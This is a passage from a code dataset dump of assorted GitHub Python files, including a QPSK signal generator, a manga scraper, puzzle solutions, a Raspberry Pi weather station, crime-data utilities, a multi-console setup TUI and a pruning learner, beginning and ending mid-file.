NUM_ANT, 2 * NUM_ANT])\n for t in range(TIME_SLOTS_PER_PACKET):\n h_batch = concatenate(h_batch, h)\n return h_batch\n\n\ndef random_s_batch():\n s_batch = None\n one_hot_batch = np.zeros([TIME_SLOTS_PER_BATCH, QPSK_CANDIDATE_SIZE])\n random_indexes = np.random.uniform(low=0, high=QPSK_CANDIDATE_SIZE, size=TIME_SLOTS_PER_BATCH)\n for t in range(TIME_SLOTS_PER_BATCH):\n i = int(random_indexes[t])\n one_hot_batch[t, i] = 1\n s = QPSK_CANDIDATES[:, i:i + 1]\n s = s.reshape([1, 2 * NUM_ANT, 1])\n s_batch = concatenate(s_batch, s)\n return s_batch, one_hot_batch\n\n\ndef gen_awgn_received_y(sir):\n power = 10 ** (sir / 10)\n h = np.sqrt(power / NUM_ANT) * random_h_batch()\n s, s_one_hot = random_s_batch()\n w = np.random.randn(1, 2 * NUM_ANT, 1)\n\n # [ R [ R -I [ R [ R\n # = @ +\n # I ] I R ] I ] I ]\n y = h @ s + w\n return y, s, s_one_hot\n\n\nclass DataSet:\n flags = [\"train\", \"test\", \"valid\"]\n\n def __init__(self, sir: float, flag=\"train\"):\n assert flag in DataSet.flags\n self.flag = flag\n self.sir = sir\n\n def __open_file(self, name, mode):\n file_name = \"savedData/sir{}/{}/{}\".format(self.sir, self.flag, name)\n mkfile(file_name)\n return open(file_name, mode)\n\n def gen_func(self, _idx):\n return gen_awgn_received_y(self.sir)\n\n def __open_all(self, mode):\n file_y = self.__open_file(\"y\", mode)\n file_s = self.__open_file(\"s\", mode)\n file_one_hot = self.__open_file(\"one_hot\", mode)\n return file_y, file_s, file_one_hot\n\n def generate(self):\n file_y, file_s, file_one_hot = self.__open_all(\"wb\")\n\n if self.flag == \"train\":\n total_batch = TRAIN_TOTAL_BATCH\n elif self.flag == \"valid\":\n total_batch = VALID_TOTAL_BATCH\n else:\n total_batch = TEST_TOTAL_BATCH\n\n if NUM_WORKERS > 0:\n pool = multiprocessing.pool.Pool(NUM_WORKERS, maxtasksperchild=MAX_TASKS_PER_CHILD)\n else:\n pool = multiprocessing.pool.Pool(maxtasksperchild=MAX_TASKS_PER_CHILD)\n idx = 0\n for ret_value in pool.imap(self.gen_func, range(total_batch)):\n print(\"{} set，batch {}/{}\".format(self.flag, idx + 1, total_batch), end=\"\\r\")\n ret_value[0].astype(np.float32).tofile(file_y)\n ret_value[1].astype(np.float32).tofile(file_s)\n ret_value[2].astype(np.float32).tofile(file_one_hot)\n\n file_y.flush()\n file_s.flush()\n file_one_hot.flush()\n\n idx += 1\n pool.close()\n\n file_y.close()\n file_s.close()\n file_one_hot.close()\n\n print()\n\n def fetch(self):\n file_y, file_s, file_one_hot = self.__open_all(\"rb\")\n if self.flag == \"train\":\n total_batch = TRAIN_TOTAL_BATCH\n elif self.flag == \"test\":\n total_batch = VALID_TOTAL_BATCH\n else:\n total_batch = TEST_TOTAL_BATCH\n\n for i in range(total_batch):\n file_y.seek(i * TIME_SLOTS_PER_BATCH * 2 * NUM_ANT)\n file_s.seek(i * TIME_SLOTS_PER_BATCH * 2 * NUM_ANT)\n file_one_hot.seek(i * TIME_SLOTS_PER_BATCH * QPSK_CANDIDATE_SIZE)\n\n y = np.fromfile(\n file_y,\n dtype=np.float32,\n count=TIME_SLOTS_PER_BATCH * 2 * NUM_ANT\n ).reshape([-1, 2 * NUM_ANT])\n\n # [RRRRIIII] -> [RIRIRIRI]\n y = y.reshape([-1, NUM_ANT, 2], order=\"F\").reshape([-1, 2 * NUM_ANT])\n\n s = np.fromfile(\n file_s,\n dtype=np.float32,\n count=TIME_SLOTS_PER_BATCH * 2 * NUM_ANT\n ).reshape([-1, 2 * NUM_ANT, 1])\n\n one_hot = np.fromfile(\n file_one_hot,\n dtype=np.float32,\n count=TIME_SLOTS_PER_BATCH * QPSK_CANDIDATE_SIZE\n ).reshape([-1, QPSK_CANDIDATE_SIZE])\n\n yield y, s, one_hot\n\n file_y.close()\n file_s.close()\n file_one_hot.close()\n","repo_name":"bossWang-lily/signal_dection","sub_path":"FCN_signal_detection/qpsk.py","file_name":"qpsk.py","file_ext":"py","file_size_in_byte":5145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29557831926","text":"import re, json\nimport asyncio\nimport io\n\nfrom aiohttp import ClientSession\nfrom scrapy import Selector\nfrom ..loader import AsyncLoader\nfrom .abcparser import ParserABC\n\nmangaidregexp = re.compile(r'https:\\/\\/[rm][ei][an][dt]manga.live\\/([^\\/]+)')\nscriptparser = re.compile('init\\((.+)\\)')\n\n\n\nclass ReadManga(ParserABC):\n @classmethod\n def urlparse(cls, url: str)->str:\n match = mangaidregexp.search(url)\n if match:\n return match.group(1)\n\n async def parse_info(self):\n async with ClientSession() as session:\n domain = self._manga._domain\n _id = self._manga._id\n async with session.get(f'https://{domain}/{_id}') as resp:\n if resp.status != 200:\n raise ValueError(\n f\"https://{domain}/{_id} STATUS {resp.status}\")\n self._page = await resp.text()\n \n selector = Selector(text=self._page)\n self._manga.title = selector.css('.name::text').get()\n self._manga.description = selector.css(\n 'div.manga-description::text').get().strip()\n\n #parse authors:\n persons = selector.css('a.person-link::text').getall()\n translatos = selector.css(\n 'span.elem_translator a.person-link::text').getall()\n for i in translatos: \n persons.remove(i)\n self._manga.authors = persons\n self._manga\n\n # parse contents\n l = selector.xpath(\"//td[@class=' ']/a\").xpath('@href').re(\n r'/vol(\\d+)/(\\d+)')\n self._manga.last_volume = l[0]\n self._manga.last_chapter = l[1]\n while l:\n vol = l.pop(0)\n ch = l.pop(0)\n if not vol in self._manga.contents:\n self._manga.contents[vol] = []\n self._manga.contents[vol].append(ch)\n\n def __furl(self, vol, ch):\n return 'https://{domain}/{manga_id}/vol{vol}/{ch}?mtr=1'.format(\n domain = self._manga._domain,\n manga_id=self._manga._id,\n vol=vol,\n ch=ch\n )\n\n def __check(self, vol, ch):\n if vol is None: return 1\n elif vol in self._manga.contents:\n if ch is None or ch in self._manga.contents[vol]:\n return 1\n raise ValueError(f\"No such volume or chapter {vol}-{ch}\") \n\n async def parse_images(self, vol = None, ch = None):\n self.__check(vol,ch) #TODO: check aioblocking\n async with ClientSession() as session:\n if not vol is None and not ch is None:\n async with session.get(self.__furl(vol,ch)) as resp:\n text = await resp.text()\n return self.__parse_images(text)\n elif not vol is None and ch is None:\n urls=[self.__furl(vol,ch) for ch in self._manga.contents[vol]]\n elif vol is None and ch is None:\n urls = []\n for vol_i in self._manga.contents:\n urls+=[self.__furl(vol_i,ch) for ch in self._manga.contents[vol_i]]\n al = AsyncLoader(min((len(urls), 20)),session=session)\n urls = [(u,io.StringIO()) for u in urls]\n al.put(urls)\n al.start()\n await al.wait()\n imgs = []\n loop = asyncio.get_running_loop()\n for _,ss in urls:\n ss.seek(0)\n sb = await loop.run_in_executor(None,ss.read,None)\n ss.close()\n imgs += self.__parse_images(sb)\n return imgs\n\n \n \n def __parse_images(self, text):\n selector = Selector(text= text)\n for script in selector.css('script').getall():\n if 'init' in script: break\n else:\n raise ValueError(\"Script not found\")\n match = scriptparser.search(script)\n if not match:\n raise ValueError(\"Script not parsed\")\n fargs = match.group(1)\n fargs = '[' + fargs.replace(\"'\", '\"').strip() + ']'\n imgs_splited = json.loads(fargs)[0]\n imgs = [ ''.join(i[:3]) for i in imgs_splited]\n return imgs\n\n\n\n","repo_name":"Tynukua/getManga","sub_path":"getmanga/parsers/readmanga.py","file_name":"readmanga.py","file_ext":"py","file_size_in_byte":4169,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"41706966592","text":"import numpy as np\r\n\r\n# print('input >>')\r\nH, W, M = map(int,(input().split()))\r\nbombs = []\r\nfor _ in range(M):\r\n bombs.append(tuple(map(int,(input().split()))))\r\n\r\ngrid = [[0] * W for _ in range(H)]\r\n\r\nfor bomb in bombs:\r\n h = bomb[0] - 1\r\n w = bomb[1] - 1\r\n grid[h][w] = 1\r\n\r\ngrid = np.array(grid)\r\n\r\nhsum = np.sum(grid, axis=0)\r\nwsum = np.sum(grid, axis=1)\r\n\r\nhmaxi = np.argmax(hsum)\r\nhmax = np.argmax(hsum)\r\n\r\n# print(hsum)\r\n# print(wsum)\r\n\r\n# print('-----output-----')\r\nprint(max(hsum) + max(wsum) - 1)","repo_name":"kussy-tessy/atcoder","sub_path":"old/ABC176/E.py","file_name":"E.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"31139021909","text":"from random import randrange\ndef count_steps(arr, n):\n swaps = 0\n indexes = {}\n\n for i in range(n):\n indexes[arr[i]] = i\n\n for i in range(n):\n if arr[i] != i+1:\n a = indexes[i+1]\n arr[a],arr[i] = arr[i],arr[a]\n indexes[arr[i]],indexes[arr[a]] = indexes[arr[a]],indexes[arr[i]]\n swaps += 1\n\n return swaps\n\n\nwith open('out.test') as f:\n content = f.readlines()\n n = int(content[0].strip())\n arr = [int(x) for x in content[1].strip().split()]\n\n print(count_steps(arr, n))\n\n","repo_name":"erjantj/hackerrank","sub_path":"minimum-swaps-2.py","file_name":"minimum-swaps-2.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"29947222787","text":"#!usr/bin/python\n\nimport time, sys, os\nimport RPi.GPIO as GPIO\nfrom RF24 import *\n\n# only import libraries for Twitter and Sparkfun if option enabled\nglobal twitter, sparkfun\ntwitter = False\nsparkfun = False\nfor command in sys.argv:\n\tif command == \"-t\":\n\t\ttwitter = True\n\t\timport tweepy\n\t\tprint(\"Twitter enabled\")\n\tif command == \"-s\":\n\t\tsparkfun = True\n\t\timport http.client, urllib\n\t\tprint(\"Sparkfun enabled\")\n\n\n################ Configuration ###############\n# RF24 setup\nirq_gpio_pin = None\npipe_address = 0xF1F2F3F4E1 \t# random addresses\nradio = RF24(22, 0) \t# create RF24 entity\nchannel = 105\n\nradio.begin()\nradio.setDataRate(RF24_250KBPS);\t# lower data rate to increase range\nradio.setChannel(channel);\nradio.enableDynamicPayloads()\nradio.openReadingPipe(1, pipe_address)\nradio.startListening()\n\n# pressure history data\npressure_history = []\npressure_maxsize = 96\n\n# sparkfun data\nsf_public_ley = \"\"\nsf_priavte_key = \"\"\n\n# twitter data\nconsumer_key = \"\"\nconsumer_secret = \"\"\naccess_token = \"\"\naccess_token_secret = \"\"\nlocation_id = \"\" # twitter location ID to add location to tweets (remove in function twitter_post if not needed)\n################################################\n\ndef main():\n\ttwit_counter = 6\t# post intervall, corresponds to multiples of 10 minutes\n\t#twitter = False\t\t# default value for Twitter posts\n\t#sparkfun = False\t# default value for Sparkfun upload\n\n\t# twitter authentification\n\tglobal twit_api\n\tif twitter:\n\t\tauth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n\t\tauth.set_access_token(access_token, access_token_secret)\n\t\ttwit_api = tweepy.API(auth)\n\t\tprint(\"Twitter account linked\")\n\n\t# main loop\n\twhile True:\n\t\t# do nothing if no data comes in\n\t\twhile not radio.available():\n\t\t pass\n\t\t# if data is availabe\n\t\twhile radio.available():\n\t\t len = radio.getDynamicPayloadSize()\n\t\t receive_payload = radio.read(len)\n\t\t receive_payload = receive_payload.decode('utf-8')\n\t\t receive_payload = receive_payload.replace('\\x00', '')\t# filter out null characters\n\n\t\tprint('Received data: {}'.format(receive_payload))\n\n\t\t# split the string by ';' to get separate values\n\t\tdata = receive_payload.split(\";\", 3)\n\n\t\t# execute main functions\n\t\tforecast = process_new_data(data)\n\t\tif sparkfun:\n\t\t\tsparkfun_logger(data)\n\t\tif twitter:\n\t\t\tif twit_counter >= 5:\n\t\t\t\ttwitter_post(data, forecast)\n\t\t\t\ttwit_counter = 0\n\t\t\telse:\n\t\t\t\ttwit_counter += 1\n\n\t\tprint(\"{}{}\".format(40 * \"-\", \"\\n\"))\n\ndef process_new_data(weather_data):\n\t# keep track of pressure history\n\tif(len(pressure_history) > pressure_maxsize - 1):\n\t\tpressure_history.pop(0)\n\tpressure_history.append(float(weather_data[2]))\n\n\t# calculate the forecast\n\tforecast = do_forecast()\n\n\t# write new data to file\n\tdata_file = open(\"/var/www/html/current_data.txt\", 'w')\n\tformatted_data = [round(float(value)) for value in weather_data]\n\t\n\tcurrent_time = time.strptime(time.ctime())\n\ttime_string = time.strftime(\"%d.%m.%Y - %H:%M:%S\", current_time)\n\t\n\tdata_string = \"{};{};{};{};{}\\n\".format(formatted_data[0], formatted_data[1], formatted_data[2], forecast, time_string)\n\tdata_file.write(data_string)\n\tdata_file.close()\n\n\t# return forecast for main loop\n\treturn forecast\n\ndef sparkfun_logger(weather_data):\n\ttry:\n\t\tconn = http.client.HTTPSConnection(\"data.sparkfun.com\")\n\t\tconn.request(\"POST\", \"/input/{}\".format(sf_public_ley),\n\t\turllib.parse.urlencode({\n\t\t \"temp\": weather_data[0],\n\t\t \"humidity\": weather_data[1],\n\t\t \"pressure\": weather_data[2],\n\t\t }), { \"Content-type\": \"application/x-www-form-urlencoded\", \"Connection\": \"close\", \"Phant-Private-Key\": sf_priavte_key})\n\t\tconn.getresponse()\n\n\t\tprint(\"Log entry to Sparkfun successful\")\n\n\texcept:\n\t\tprint(\"Log entry to Sparkfun failed\")\n\n\ndef do_forecast():\n\tdifference = calculate_biggest_difference()\n\tforecast = choose_forecast(difference)\n\treturn forecast\n\n\ndef calculate_biggest_difference():\n\t# just do a forecast if at least 10 values recorded\n\tif(len(pressure_history) < 10):\n\t\treturn -99\n\n\telse:\n\t\t# calculate average of the last 3 values to smooth measuring errors\n\t\tindex = len(pressure_history) - 1\n\t\ttotal = 0\n\t\tfor i in range(0, 3):\n\t\t\ttotal = total + pressure_history[index - i]\n\t\tavg = total / 3\n\n\t\t# calculate biggest difference between two values, for positive and negative values\n\t\ti = len(pressure_history) - 1\n\t\tpositive_value = 0\n\t\tnegative_value = 0\n\n\t\twhile i >= 0:\n\t\t\tdifference = avg - pressure_history[i]\n\t\t\tif (difference > 0):\n\t\t\t\tif (difference > positive_value):\n\t\t\t\t\tpositive_value = difference\n\t\t\telif (difference < 0):\n\t\t\t\tif (difference < negative_value):\n\t\t\t\t\tnegative_value = difference\n\t\t\ti = i - 1\n\n\t\t# select the most significant difference\n\t\tif positive_value > -negative_value:\n\t\t\treturn positive_value\n\t\telif positive_value < -negative_value:\n\t\t\treturn negative_value\n\t\telif positive_value == -negative_value:\n\t\t\treturn 0\n\n\ndef choose_forecast(difference):\n\t# choose weather forecast\n\t# the values are set completely by instinct and observation, so feel free to improve them\n\tif difference > 0 and difference < 50:\n\t\tif difference <= 1:\n\t\t\tforecast = \"0\"\n\t\telif difference <= 4 and difference > 1:\n\t\t\tforecast = \"+\"\n\t\telif difference <= 7 and difference > 4:\n\t\t\tforecast = \"++\"\n\t\telif difference > 7:\n\t\t\tforecast = \"+++\"\n\n\telif difference < 0 and difference > -50:\n\t\tif difference >= -1:\n\t\t\tforecast = \"0\"\n\t\telif difference >= -4 and difference < -1:\n\t\t\tforecast = \"-\"\n\t\telif difference >= -7 and difference < -4:\n\t\t\tforecast = \"--\"\n\t\telif difference < -7:\n\t\t\tforecast = \"---\"\n\n\telif difference == 0:\n\t\tforecast = \"0\"\n\n\telif difference == -99:\n\t\tforecast = \"No forecast possible\"\n\n\telse:\n\t\tforecast = \"Error\"\n\n\tprint(\"Pressure difference: {}\".format(difference))\n\tprint(\"Calculated forecast: {}\".format(forecast))\n\treturn forecast\n\n\ndef twitter_post(weather_data, forecast):\n\ttry:\n\t\tpost = \"Temp: {}\\nHum: {} \\nPres: {}\\nForecast: {}\".format(weather_data[0], weather_data[1], weather_data[2], forecast)\n\t\ttwit_api.update_status(status=post, place_id=location_id)\n\t\tprint(\"Twitter post successful\")\n\n\texcept:\n\t\tprint(\"Twitter post failed\")\n\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"IPSW1/RasPi_Station","sub_path":"raspberry_pi/python/weather.py","file_name":"weather.py","file_ext":"py","file_size_in_byte":6062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"8744424990","text":"import pandas as pd\nimport numpy as np\nimport glob as glob\nimport pandas as pd\nimport requests\nimport json\n\ndef crime_counts_by_msoa(directory, crime_type = 'All'):\n \"\"\"This function reads UK crime files and returns a Pandas dataframe.\"\"\"\n crimes = pd.DataFrame(columns=['Month', 'LSOA code', 'LSOA name', 'Crime type', 'MSOA'])\n for file in glob.glob(directory + '/*.csv'):\n crime = pd.read_csv(file, usecols=[1,7,8,9], dtype={'Month': 'str', 'LSOA code': 'str', 'LSOA name': 'str', 'Crime type': 'str'})\n crime['MSOA'] = crime['LSOA name'].str[:-1]\n crimes = crimes.append(crime)\n if crime_type != 'All':\n crimes = crimes.loc[crimes['Crime type'] == crime_type]\n return crimes.groupby(['MSOA']).size().reset_index(name='crimes')\n\ndef load_residents():\n _residents = pd.read_csv('data/residents/census-msoa-residents.csv', dtype={'msoa': 'str', 'residents': 'int64'}, usecols=[1,4])\n _residents.columns = ['MSOA', 'residents']\n return _residents\n\ndef get_crimes_and_residents(crimes, residents):\n \"\"\"This function takes the crimes and residents data frames and returns a dataframe with the crime / residents ratio\"\"\"\n crime_and_residents = pd.merge(residents, crimes, on='MSOA', how='inner')\n crime_and_residents['ratio'] = crime_and_residents.apply(lambda row: row[2] / row[1], axis=1)\n return crime_and_residents\n\ndef post_code_lookup(postcode):\n \"\"\"This function returns some extra information about a\n UK post code such as LSOA, MSOA, outcode and incode.\"\"\"\n pc = postcode.replace(' ', '')\n try:\n response = requests.get('http://api.postcodes.io/postcodes/' + pc)\n if response.status_code == 200:\n jsonResponse = response.json()\n return [jsonResponse['result']['outcode'], jsonResponse['result']['incode'], jsonResponse['result']['msoa'], jsonResponse['result']['lsoa']]\n except UnicodeDecodeError:\n print('error')\n\ndef plants():\n \"\"\"This function loads, slices and de de-duplicates \n meat manifacturing implants from the UK regulation three sections.\n It also parses the postcode and spits into incode and outcode.\"\"\"\n sections = []\n for section_name in ['section_i', 'section_ii', 'section_iii']:\n section = pd.read_csv('data/sections/' + section_name + '.csv', usecols=[0, 1,6], dtype={'Postcode': 'str'})\n section = section[pd.notnull(section['Postcode'])]\n section_with_parsed_postcode = section['Postcode'].apply(post_code_lookup).apply(pd.Series)\n section_with_parsed_postcode.columns = ['outcode', 'incode', 'msoa', 'lsoa']\n full_section = pd.concat([section, section_with_parsed_postcode], axis=1)\n full_section = full_section[pd.notnull(full_section['outcode'])]\n sections.append(full_section)\n return pd.concat(sections).drop_duplicates(['Approval Number'])","repo_name":"dpalmisano/snippets","sub_path":"uk-crime-rate-and-slaughterhouse/src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"69800010750","text":"from pyanaconda.ui.tui import TextUserInterface\nfrom pyanaconda import threading\n\nfrom initial_setup.product import get_product_title, is_final\nfrom initial_setup.common import list_usable_consoles_for_tui, get_quit_message\nfrom .hubs import InitialSetupMainHub\n\nfrom simpleline import App\nfrom simpleline.errors import NothingScheduledError\n\nimport os\nimport sys\nimport select\nimport contextlib\nimport termios\nimport logging\nlog = logging.getLogger(\"initial-setup\")\n\nQUIT_MESSAGE = get_quit_message()\n\n\nclass MultipleTTYHandler(object):\n \"\"\"Run the Initial Setup TUI on all usable consoles.\n\n This is done by redirecting the Initial Setup stdout to all\n usable consoles and then redirecting any input back to\n the Initial Setup stdin.\n \"\"\"\n\n def __init__(self, tui_stdout_fd, tui_stdin_fd):\n # create file objects for the TUI stdout and stdin fds\n self._tui_stdout_fd = tui_stdout_fd\n self._tui_stdout = os.fdopen(tui_stdout_fd, \"r\")\n self._tui_stdin_fd = tui_stdin_fd\n self._tui_stdin = os.fdopen(tui_stdin_fd, \"w\")\n\n self._tui_active_out_fd, active_out_fd = os.pipe()\n self._tui_active_out = os.fdopen(self._tui_active_out_fd, \"r\")\n self._active_out = os.fdopen(active_out_fd, \"w\")\n\n self._shutdown = False\n\n self._active_console_in = None\n self._active_console_out = None\n\n self._console_read_fos = {}\n self._console_write_fos = []\n self._open_all_consoles()\n\n def shutdown(self):\n \"\"\"Tell the multi TTY handler to shutdown.\"\"\"\n self._shutdown = True\n\n def _open_all_consoles(self):\n \"\"\"Open all consoles suitable for running the Initial Setup TUI.\"\"\"\n console_write_fos = {}\n console_read_fos = {}\n console_paths = (os.path.join(\"/dev\", c) for c in list_usable_consoles_for_tui())\n usable_console_paths = []\n unusable_console_paths = []\n for console_path in console_paths:\n try:\n write_fo = open(console_path, \"w\")\n read_fo = open(console_path, \"r\")\n fd = read_fo.fileno()\n console_write_fos[fd] = write_fo\n # the console stdin file descriptors need to be non-blocking\n os.set_blocking(fd, False)\n console_read_fos[fd] = read_fo\n # If we survived till now the console might be usable\n # (could be read and written into).\n usable_console_paths.append(console_path)\n except Exception:\n log.exception(\"can't open console for Initial Setup TUI: %s\", console_path)\n unusable_console_paths.append(console_path)\n\n log.debug(\"The Initial Setup TUI will attempt to run on the following consoles:\")\n log.debug(\"\\n\".join(usable_console_paths))\n log.debug(\"The following consoles could not be opened and will not be used:\")\n log.debug(\"\\n\".join(unusable_console_paths))\n self._console_read_fos = console_read_fos\n self._console_write_fos = console_write_fos\n\n def run(self):\n \"\"\"Run IS TUI on multiple consoles.\"\"\"\n # we wait for data from the consoles\n fds = list(self._console_read_fos.keys())\n # as well as from the anaconda stdout\n fds.append(self._tui_stdout_fd)\n fds.append(self._tui_active_out_fd)\n log.info(\"multi TTY handler starting\")\n while True:\n # Watch the consoles and IS TUI stdout for data and\n # react accordingly.\n # The select also triggers every second (the 1.0 parameter),\n # so that the infinite loop can be promptly interrupted once\n # the multi TTY handler is told to shutdown.\n rlist, _wlist, _xlist = select.select(fds, [], [], 1.0)\n if self._shutdown:\n log.info(\"multi TTY handler shutting down\")\n break\n if self._tui_stdout_fd in rlist:\n # We need to set the TUI stdout fd to non-blocking,\n # as otherwise reading from it would (predictably) result in\n # the readline() function blocking once it runs out of data.\n os.set_blocking(self._tui_stdout_fd, False)\n\n # The IS TUI wants to write something,\n # read all the lines.\n lines = self._tui_stdout.readlines()\n\n # After we finish reading all the data we need to set\n # the TUI stdout fd to blocking again.\n # Otherwise the fd will not be usable when we try to read from\n # it again for unclear reasons.\n os.set_blocking(self._tui_stdout_fd, True)\n\n lines.append(\"\\n\") # seems to get lost somewhere on the way\n\n # Write all the lines IS wrote to stdout to all consoles\n # that we consider usable for the IS TUI.\n for console_fo in self._console_write_fos.values():\n for one_line in lines:\n try:\n console_fo.write(one_line)\n except OSError:\n log.exception(\"failed to write %s to console %s\", one_line, console_fo)\n\n # Don't go processing the events on other file descriptors until\n # we're done with everything that's supposed to be on stdout\n continue\n elif self._tui_active_out_fd in rlist:\n # Essentially the same as above but for the acrive console only\n os.set_blocking(self._tui_active_out_fd, False)\n lines = self._tui_active_out.readlines()\n os.set_blocking(self._tui_active_out_fd, True)\n write_fo = self._active_console_out\n try:\n for one_line in lines:\n write_fo.write(one_line)\n write_fo.flush()\n except OSError:\n log.exception(\"failed to write %s to active console\", lines)\n else:\n for fd in rlist:\n # Someone typed some input to a console and hit enter,\n # forward the input to the IS TUI stdin.\n read_fo = self._console_read_fos[fd]\n write_fo = self._console_write_fos[fd]\n # as the console is getting input we consider it to be\n # the currently active console\n self._active_console_in = read_fo\n self._active_console_out = write_fo\n try:\n data = read_fo.readline()\n except TypeError:\n log.exception(\"input reading failed for console %s\", read_fo)\n continue\n self._tui_stdin.write(data)\n self._tui_stdin.flush()\n\n def custom_getpass(self, prompt='Password: '):\n \"\"\"Prompt for a password, with echo turned off that can run on an arbitrary console.\n\n This implementation is based on the Python 3.6 getpass() source code, with added\n support for running getpass() on an arbitrary console, as the original implementation\n is hardcoded to expect input from /dev/tty, without an option to change that.\n\n Raises:\n EOFError: If our input tty or stdin was closed.\n\n Always restores terminal settings before returning.\n \"\"\"\n\n input_fo = self._active_console_in\n output_fo = self._active_out\n\n passwd = None\n with contextlib.ExitStack() as stack:\n input_fd = input_fo.fileno()\n if input_fd is not None:\n try:\n old = termios.tcgetattr(input_fd) # a copy to save\n new = old[:]\n new[3] &= ~termios.ECHO # 3 == 'lflags'\n tcsetattr_flags = termios.TCSAFLUSH\n if hasattr(termios, 'TCSASOFT'):\n tcsetattr_flags |= termios.TCSASOFT\n try:\n termios.tcsetattr(input_fd, tcsetattr_flags, new)\n passwd = self._raw_input(prompt, output_fo, input_fo=input_fo)\n finally:\n termios.tcsetattr(input_fd, tcsetattr_flags, old)\n output_fo.flush() # Python issue7208\n except termios.error:\n if passwd is not None:\n # _raw_input succeeded. The final tcsetattr failed. Reraise\n # instead of leaving the terminal in an unknown state.\n raise\n # We can't control the tty or stdin. Give up and use normal IO.\n # _fallback_getpass() raises an appropriate warning.\n if output_fo is not input_fo:\n # clean up unused file objects before blocking\n stack.close()\n passwd = self._fallback_getpass(prompt, output_fo, input_fo)\n\n output_fo.write('\\n')\n output_fo.flush()\n return passwd\n\n def _fallback_getpass(self, prompt='Password: ', output_fo=None, input_fo=None):\n log.warning(\"Can not control echo on the terminal: %s\", input_fo)\n if not output_fo:\n output_fo = sys.stderr\n print(\"Warning: Password input may be echoed.\", file=output_fo)\n return self._raw_input(prompt, output_fo, input_fo)\n\n def _raw_input(self, prompt=\"\", output_fo=None, input_fo=None):\n # This doesn't save the string in the GNU readline history.\n\n # The input fd has to be set as non-blocking for the general multi-tty machinery\n # to work, but for password input to work correctly it needs to be set as blocking\n # when user input is expected.\n # We also have to switch it back to non-blocking once user input is received.\n os.set_blocking(input_fo.fileno(), True)\n prompt = str(prompt)\n if prompt:\n try:\n output_fo.write(prompt)\n except UnicodeEncodeError:\n # Use replace error handler to get as much as possible printed.\n prompt = prompt.encode(output_fo.encoding, 'replace')\n prompt = prompt.decode(output_fo.encoding)\n output_fo.write(prompt)\n output_fo.flush()\n # NOTE: The Python C API calls flockfile() (and unlock) during readline.\n line = input_fo.readline()\n if not line:\n raise EOFError\n if line[-1] == '\\n':\n line = line[:-1]\n # We got input from the user, switch the input fd back to non-blocking\n # so that the multi-tty machinery works correctly.\n os.set_blocking(input_fo.fileno(), False)\n return line\n\n\nclass InitialSetupTextUserInterface(TextUserInterface):\n \"\"\"This is the main text based firstboot interface. It inherits from\n anaconda to make the look & feel as similar as possible.\n \"\"\"\n\n ENVIRONMENT = \"firstboot\"\n\n def __init__(self, cli_args):\n \"\"\"Initialize the Initial Setup text UI.\n\n :param cli_args: command line arguments parsed by Argparse\n \"\"\"\n TextUserInterface.__init__(self, None, None, get_product_title, is_final(),\n quitMessage=QUIT_MESSAGE)\n\n self.multi_tty_handler = None\n self._use_multi_tty_handler = not cli_args.no_multi_tty\n\n # In some case, such as when running Initial Setup directly\n # in console or from an SSH session script, we should not\n # start the multi TTY handler and just run in the single\n # local console.\n if self._use_multi_tty_handler:\n # redirect stdin and stdout to custom pipes\n\n # stdin\n stdin_fd, tui_stdin_fd = os.pipe()\n sys.stdin = os.fdopen(stdin_fd, \"r\")\n\n # stdout\n tui_stdout_fd, stdout_fd = os.pipe()\n sys.stdout = os.fdopen(stdout_fd, \"w\")\n sys.stdout.reconfigure(line_buffering=True)\n\n # instantiate and start the multi TTY handler\n self.multi_tty_handler = MultipleTTYHandler(tui_stdin_fd=tui_stdin_fd,\n tui_stdout_fd=tui_stdout_fd)\n # start the multi-tty handler\n threading.threadMgr.add(\n threading.AnacondaThread(name=\"initial_setup_multi_tty_thread\",\n target=self.multi_tty_handler.run)\n )\n\n def setup(self, data):\n TextUserInterface.setup(self, data)\n if self._use_multi_tty_handler:\n # Make sure custom getpass() from multi-tty handler is used instead\n # of regular getpass. This needs to be done as the default getpass()\n # implementation cant work with arbitrary consoles and always defaults\n # to /dev/tty for input.\n configuration = App.get_configuration()\n configuration.password_function = self.multi_tty_handler.custom_getpass\n\n def run(self):\n try:\n super().run()\n except NothingScheduledError:\n log.info(\"not starting the text UI as no user interaction is required\")\n\n def _list_hubs(self):\n return [InitialSetupMainHub]\n\n basemask = \"firstboot.tui\"\n basepath = os.path.dirname(__file__)\n paths = TextUserInterface.paths + {\n \"spokes\": [(basemask + \".spokes.%s\", os.path.join(basepath, \"spokes\"))],\n \"categories\": [(basemask + \".categories.%s\", os.path.join(basepath, \"categories\"))],\n }\n","repo_name":"rhinstaller/initial-setup","sub_path":"initial_setup/tui/tui.py","file_name":"tui.py","file_ext":"py","file_size_in_byte":13701,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"60"} +{"seq_id":"75429245630","text":"import logging\nimport os\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom learners.basic_learner import BasicLearner\nfrom utils.utils import *\nfrom learners.distillation.kd import *\nimport math\nimport pdb\nimport copy\nimport numpy as np\nimport inspect\nimport time\nimport torch.nn.functional as F\n\n\"\"\" Data dependent channel pruning.\n Cross distillation is incorporated.\n\"\"\"\n\n\nclass ChannelLearner(BasicLearner):\n def __init__(self, model, loaders, args, device):\n super(ChannelLearner, self).__init__(model, loaders, args, device)\n self.teacher_model = copy.deepcopy(self.model)\n self.teacher_model.load_state_dict(torch.load(self.args.load_path))\n self.setup_optim() # over-ride the original one\n self.save_path_pruned = os.path.join(os.path.dirname(self.args.load_path), str(self.args.target_ratio) + '_chnl_pruned.pt')\n\n def train(self):\n # NOTE: prune from scratch\n self.__layerwise_prune()\n for epoch in range(self.args.epochs):\n self.switch_mode('train')\n logging.info(\"Training at Epoch: %d\" % epoch)\n train_acc, 